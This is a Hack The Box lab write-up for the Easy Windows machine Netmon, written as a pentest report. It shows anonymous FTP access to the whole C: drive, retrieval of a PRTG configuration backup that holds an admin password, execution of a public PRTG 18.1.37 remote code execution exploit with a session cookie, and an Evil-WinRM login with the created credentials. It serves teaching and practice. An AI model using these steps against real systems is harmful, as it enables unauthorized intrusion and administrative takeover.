Hack The Box Netmon Writeup (Easy Windows)

Summary

Netmon runs PRTG Network Monitor on port 80 and an FTP server on 21 that accepts the anonymous account and is rooted at C:, so the whole drive is browsable without credentials. Under ProgramData/Paessler/PRTG Network Monitor sit the live configuration and two older copies, and PRTG Configuration.old.bak still contains the administrator password in readable form. The nmap banner pins the product at version 18.1.37.13946, which has a published remote code execution flaw in its notification handling, and the exploit from Exploit-DB only needs the OCTOPUS session cookie from an authenticated browser session. Running it creates a new local administrator account, pentest with the password P3nT3st!, and Evil-WinRM logs in with it.

export IP=10.10.10.152

Service Enumeration

IP Address	Ports Open
10.10.10.152	TCP: 21, 80, 135, 139, 445, 5985, 47001

Command: nmap -sC -sV -T4 -vv -p- 10.10.10.152

FTP Enumeration (port 21)

Unauthorized Access and Information Disclosure

Vulnerability Explanation: Behind Security noted the presence of a significant vulnerability in the FTP server running on 10.10.10.152. The FTP server configuration had anonymous login enabled, allowing unauthenticated access to the file system. Furthermore, the FTP server was configured to have the machine’s root directory (C:) as the storage location, granting direct access to the entire file system. Exploring this vulnerability granted Behind Security the ability to read sensitive configuration files for PRTG Network Monitor hosted on port 80.

Vulnerability Fix:

• Disable anonymous login on the FTP server to avoid unauthorized access;
• Configure the FTP server to store the files on a separate directory, excluding everything else from the accessible area.

Severity: High

Steps to Reproduce the Finding: Log in via ftp as “anonymous”: ftp anonymous@10.10.10.152 and specify no password (press enter when prompted).

Getting sensitive configuration file:

ftp> cd programdata
250 CWD command successful.
ftp> pwd
Remote directory: /programdata
ftp> ls 
229 Entering Extended Passive Mode (|||51713|)
150 Opening ASCII mode data connection.
12-15-21  10:40AM       <DIR>          Corefig
02-03-19  12:15AM       <DIR>          Licenses
11-20-16  10:36PM       <DIR>          Microsoft
02-03-19  12:18AM       <DIR>          Paessler
02-03-19  08:05AM       <DIR>          regid.1991-06.com.microsoft
07-16-16  09:18AM       <DIR>          SoftwareDistribution
02-03-19  12:15AM       <DIR>          TEMP
11-20-16  10:19PM       <DIR>          USOPrivate
11-20-16  10:19PM       <DIR>          USOShared
02-25-19  10:56PM       <DIR>          VMware
226 Transfer complete.
ftp> cd Paessler
250 CWD command successful.
ftp> ls 
229 Entering Extended Passive Mode (|||51716|)
150 Opening ASCII mode data connection.
08-10-23  03:15PM       <DIR>          PRTG Network Monitor
226 Transfer complete.
ftp> cd "PRTG Network Monitor"
250 CWD command successful.
ftp> dir 
229 Entering Extended Passive Mode (|||51717|)
150 Opening ASCII mode data connection.
08-10-23  01:51PM       <DIR>          Configuration Auto-Backups
08-10-23  01:10PM       <DIR>          Log Database
02-03-19  12:18AM       <DIR>          Logs (Debug)
02-03-19  12:18AM       <DIR>          Logs (Sensors)
02-03-19  12:18AM       <DIR>          Logs (System)
08-10-23  01:10PM       <DIR>          Logs (Web Server)
08-10-23  01:15PM       <DIR>          Monitoring Database
02-25-19  10:54PM              1189697 PRTG Configuration.dat
02-25-19  10:54PM              1189697 PRTG Configuration.old
07-14-18  03:13AM              1153755 PRTG Configuration.old.bak
08-10-23  03:15PM              1723410 PRTG Graph Data Cache.dat
02-25-19  11:00PM       <DIR>          Report PDFs
02-03-19  12:18AM       <DIR>          System Information Database
02-03-19  12:40AM       <DIR>          Ticket Database
02-03-19  12:18AM       <DIR>          ToDo Database
226 Transfer complete.
ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
229 Entering Extended Passive Mode (|||51726|)
150 Opening ASCII mode data connection.
100% |************************************************|  1126 KiB  879.01 KiB/s    00:00 ETA
226 Transfer complete.
1153755 bytes received in 00:01 (878.95 KiB/s)
ftp> exit

• Configuration file backup screenshot

Web Server Enumeration (port 80)

Initial Access - Outdated Software RCE

Vulnerability Explanation: The nmap scan returned us the exact version of PRTG network monitor - 18.1.37.13946. There is a known Remote Code Execution (RCE) vulnerability for this software version and a public exploit available. A successful exploitation of the vulnerability creates a new user on the target system with administrative privileges, posing a severe security risk.

Vulnerability Fix: Update PRTG network monitor to the latest version, as the vendor already issued a patch to this known vulnerability.

Severity: Extreme

Steps to Reproduce the Attack:

1. Download the exploit here
2. Use the previously found credentials to log in to the PRTG network monitor instance
3. Copy the name and the value of the OCTOPUS session cookie
4. Use the session cookie in the exploit as shown below:

./46527.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezJENjZEOEIwLUEwODEtNDZBQi04NzQwLTY0QkVBNzM2RkQ1MH0%3D"

1. Use evil-winrm tool with the credentials: pentest:P3nT3st!. The command used was: evil-winrm -u pentest -p 'P3nT3st!' -i 10.10.10.152